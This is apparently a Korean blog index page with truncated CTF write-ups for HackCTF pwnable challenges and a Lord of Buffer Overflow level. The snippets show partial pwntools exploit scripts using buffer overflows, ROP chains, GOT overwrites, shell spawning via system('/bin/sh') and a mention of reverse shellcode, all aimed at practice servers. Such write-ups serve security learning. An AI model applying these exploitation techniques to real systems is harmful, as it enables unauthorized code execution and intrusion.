pwnable
-
[HackCTF : Pwnable] Pwning (300p)Wargame/HackCTF 2021. 12. 27. 16:37
[HackCTF : Pwnable] Pwning (300p) 입력한 숫자만큼의 byte를 입력받는다. 33 이상이면 No! That size (%d) is too large!를 출력하고 종료하는데 -1을 통해 우회할 수 있다. 다음은 그냥 rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./pwning") p = remote("ctf.j0n9hyun.xyz",3019) e = ELF("./pwning") prt_plt=e.plt['printf'] prt_got=e.got['printf'] vuln = e.symbols['vuln'] pay..
-
[HackCTF : Pwnable] Look at me (250p)Wargame/HackCTF 2021. 12. 27. 10:44
[HackCTF : Pwnable] Look at me (250p) 32bit, statically linked 입력받고 종료한다. gets()에서 bof가 터진다. statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다. 그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다. 메모리 영역에 대한 권한을 관리하는 함수다. bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./lookatme") p = remote("ctf.j0n9hyun...
-
[HackCTF : Pwnable] Beginner_Heap(250p)Wargame/HackCTF 2021. 12. 24. 15:26
[HackCTF : Pwnable] Beginner_Heap(250p) 2번 입력받고 종료한다. v3, 3+1, v4 v4+1에 동적 할당을 해준다. flag를 읽어주는 함수가 존재한다. 입력 받기전의 힙 상태이다. v3 = 1 (v3+1) = 0x6022c0 v4 = 2 (v4+1) = 0x602300 첫 번째 입력으로 이곳에 데이터가 들어가는데 bof를 통해 v4+1을 조작할 수 있다. 1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("ctf.j0n9hyun.xyz",3016) e = ELF("./beginner_heap.bin") payload = "A"*40 + p64(e.got['exit']) p.sendline(payload) p.sendline(..
-
[HackCTF : Pwnable] Gift(250p)Wargame/HackCTF 2021. 11. 26. 17:40
[HackCTF : Pwnable] Gift(250p) ㄷㄷ 주소 두 개를 뱉고 입력받은걸 출력해줌 binsh과 system이다. /bin/sh 문자열은 아니고 bss영역이다. 여기다가 /bin/sh 써주면 됨 system은 system 주소다 gets로 bss에 /bin/sh 문자열 써주고 system(bss) 해주면 됩니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * # p = process("./gift") p=remote("ctf.j0n9hyun.xyz",3018) e = ELF("./gift") gets=e.plt['gets'] pr=0x0804866b binsh..
-
[HackCTF : Pwnable] 1996 (200p)Wargame/HackCTF 2021. 11. 25. 16:34
[HackCTF : Pwnable] 1996 (200p) 입력한 환경변수를 출력해준다. cin으로 입력받기 때문에 bof가 터진다. 적당히 dummy 주고 spawn_shell을 덮어주면 된다. 1 2 3 4 5 6 7 8 9 10 from pwn import * # p=process("./1996") p = remote("ctf.j0n9hyun.xyz",3013) payload = "A"*0x418 payload += p64(0x0000000000400897) p.sendline(payload) p.interactive() cs ex.py
-
-
[Pwnable] jmp, call 차이 (RTL chaning할 때 RET)Notepad/Pwnable 2021. 11. 3. 00:27
jmp : 해당 주소로 이동 call : RET(다음 실행 줄)를 스택에 저장하고 jmp 32bit 기준 call을 이용한 함수 호출 ebp+0 -> sfp ebp+4 -> ret ebp+8 -> 첫 번째 인자 RTL Chaning할 때는 call이 아닌 jmp로 호출하기 때문에 RET가 스택에 쌓이지 않지만 호출한 함수가 에필로그 과정을 거치기 때문에 ebp+4에 연계할 함수주소를 적어주면 됨
-
[LOB] xavius > death_knightWargame/Lord of Buffer Overflow 2021. 8. 18. 14:33
[LOB] xavius > death_knight 이번 문제는 입력을 6666 포트에 remote로 받는다. 핵심만 살펴보면 buffer가 40byte이고 256byte 입력을 받기에 bof가 일어난다. 이렇게 실행되고 있는것을 확인할 수 있다. 하지만 buffer의 정확한 위치를 알 수 없어 brute force를 때렸다. Shellcode Reverse shellcode를 만들어 줌 [Pwnable] Generate shellcode with gdb-peda gdb-peda를 이용한 쉘코드 만들기 이렇게 사용하면 된다. 만들 수 있는 쉘코드 목록 리버스 쉘코드를 만들어 보았다. 끝 chocovy.tistory.com 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn..